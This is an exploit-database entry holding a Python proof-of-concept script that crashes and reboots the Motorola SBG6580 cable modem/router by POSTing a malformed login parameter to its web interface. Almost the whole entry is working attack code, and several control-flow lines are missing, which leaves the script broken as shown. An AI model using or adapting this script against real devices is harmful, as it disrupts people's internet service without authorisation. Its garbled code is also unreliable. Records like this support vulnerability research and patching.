Motorola SBG6580 Cable Modem & Wireless Router - DoS Reboot

ID 1337DAY-ID-21823
Type zdt
Reporter nicx0
Modified 2014-01-28T00:00:00


Exploit for hardware platform in category dos / poc

                                            # Exploit Title: Motorola SBG6580 Cable Modem & Wireless-N Router Denial of Service
# Date: 01/03/14
# Exploit Author: nicx0
# Vendor Homepage:
# Software Link:
# Version: SBG6580-
# POSTing a bad login page parameter causes the router to reboot.
import sys
import socket
import urllib2
import urllib
router_ip = ''
      router_ip = str(sys.argv[1])
      print ' ip_address : e.g.'
query_args = {'this_was':'too_easy'}
url = 'http://' + router_ip + '/goform/login'
post_data = urllib.urlencode(query_args)
request = urllib2.Request(url, post_data)
    print '[+] Sending invalid POST request to ' + url + '...'
    response = urllib2.urlopen(request,timeout=5)
except socket.timeout:
    print '[+] Success! No response from the modem.'
except urllib2.HTTPError:
    print '[-] Failed: HTTP error received. The modem might not be a SBG6580.'
except urllib2.URLError:
    print '[-] Failed: URL error received. Check the IP address again..'
    print '[-] Failed: HTTP response received. Modem does not appear to be vulnerable.'

# [2016-04-20]  #